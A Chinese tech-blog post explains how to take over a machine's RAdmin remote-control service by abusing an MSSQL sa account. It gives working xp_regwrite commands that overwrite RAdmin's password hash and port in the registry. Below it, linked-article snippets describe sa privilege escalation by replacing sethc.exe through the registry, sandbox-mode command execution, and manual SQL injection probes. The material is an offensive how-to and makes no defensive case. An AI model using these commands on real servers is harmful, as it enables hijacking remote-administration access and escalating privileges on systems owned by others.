使用xp_Regwrite夺取radmin

最新推荐文章于 2024-03-28 16:37:48 发布
原创 最新推荐文章于 2024-03-28 16:37:48 发布 · 1.3k 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#xp #c

本文介绍了一种通过SQL命令修改RAdmin软件密码和端口的方法，使用xp_regwrite存储过程来直接写入注册表键值，实现远程管理计算机的目的。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

     某机，安装了radmin，密码被修改了，regedit.exe不知道被删除了还是被改名了，net.exe不存在，没有办法使用regedit /e 导入注册文件，但是mssql是sa权限，使用如下命令

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM/RAdmin/v2.0/Server/Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c

即可修改密码为12345678。如果要修改端口值

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM/RAdmin/v2.0/Server/Parameters','port','REG_BINARY',0xd20400

则端口值改为1234

sa提權技巧之xp_regwrite 替換sethc.exe
06-19
sa提權技巧之xp_regwrite 替換sethc.exe
SA 沙盘模式下不用恢复xp_cmdshell和xplog70.dll也执行命令
10-28
通过使用xp_regwrite存储过程，可以修改系统注册表，将Microsoft Jet 数据引擎的SandBoxMode设置为1，从而开启沙盘模式。 Microsoft Jet 数据引擎通过OLE DB 提供程序暴露给数据库服务器，允许SQL Server通过jet....
sa提权技巧之xp_regwrite替换sethc.exe
weixin_34234829的博客
07-09 419
sa权限如果xp_cmdshell不可用时，可以尝试用xp_regwrite写注册表，替换sethc.exe实现提权。代码如下：sa提权技巧之xp_regwrite 替换sethc.exexp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execu...
SA权限仅需xp_regwrite即可有dos shell
古剑楠的专栏
09-23 1217
SA权限仅需xp_regwrite即可有dos shell (转)   [ 日期: 2006-06-24 02:43 | 作者: d99 | 来自: 转 | | ]   删除xp_cmdshell和xplog70.dll不用担心，只要保留xp
xp_instance_regwrite syntax
weixin_33888907的博客
06-26 480
The stored procedure "master.sys.xp_instance_regwrite" is not documented in SQL Server Books Online (BOL), but is usefull. In general the syntax isEXECUTE [master].[sys].[xp_instance_regwrite] @rootk...
SQL Server 数据库常见提权总结
m0_64481831的博客
03-28 4267
前面总结了linux和Windows的提权方式以及Mysql提权，这篇文章讲讲SQL Server数据库的提权。
MyI2C_Init(); MPU6050_RegWrite(0x6B,0x00); tim_delay_ms(5); MPU6050_RegWrite(0x19,0x11); u8 data=MPU6050_RegRead(0x19);
最新发布
08-07
2. **寄存器写入**：`MPU6050_RegWrite`函数使用HAL库的`HAL_I2C_Mem_Write`函数向指定寄存器写入一个字节。参数包括I2C外设句柄、设备地址、寄存器地址、写入数据的长度（这里是一个字节）和要写入的值。 3. **...
MyI2C_Init(); MPU6050_RegWrite(0x6B,0x00); MPU6050_RegWrite(0x19,0x11); u8 data=MPU6050_RegRead(0x19); OLED_ShowHexNum(1, 1, data, 4,OLED_8X16);
08-07
- 显示函数使用不当（显示位数过多导致前面显示0） - 没有等待足够的时间让MPU6050稳定（虽然写入后立即读取通常可以，但有时也需要延迟） 因此，我们提供以下修正后的代码，并添加注释说明。</think>### MPU...
18_mssql提权
qq_45301512的博客
12-12 431
【代码】17_mssql提权。
MsSQL高级注入命令提权
11-15 527
一、基本信息搜集 1.注入点类型的判断 and exists (select * from sysobjects) 2.注入点权限判断 and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员 and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限 and 1=(select...
sql数据库修复资料
chinese_cabbage0的博客
01-31 581
本文主要讲述了xp_cmdshell，xp_oacreate，沙盒提权，job提权等。这些操作通常需要数据库管理员（DBA）的权限，以及一些数据库操作，配置管理等
2004-8-5+ 给mssql添加用户
weixin_34113237的博客
06-29 131
打开管理器，找到需要添加用户的数据库，点开，右键单击用户，选择“新建数据库用户”，弹出“数据库用户属性-新建用户”，填好登陆名和用户名，分配好角色，然后就可以啦。先看登陆名。一般从下拉列表里选“新建”，跳出“sql server登录属性-新建登录”，然后在这里填名称，设定sel servr身份验证的密码，然后从下拉列表里选一个数据库，就是你要添加用户的那个，完事后确定。这样在登陆名下拉列表就会多出...
带注释手动注入脚本命令整理
风信子的专栏
01-15 777
整理了下手动注入脚本命令[带注释]  1.判断是否有注入;and 1=1 ;and 1=2  2.初步判断是否是mssql ;and user>0  3.注入参数是字符’and [查询条件] and ’’=’  4.搜索时没过滤参数的’and [查询条件] and ’%25’=’  5.判断数据库系统 ;and (select count(*) from
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值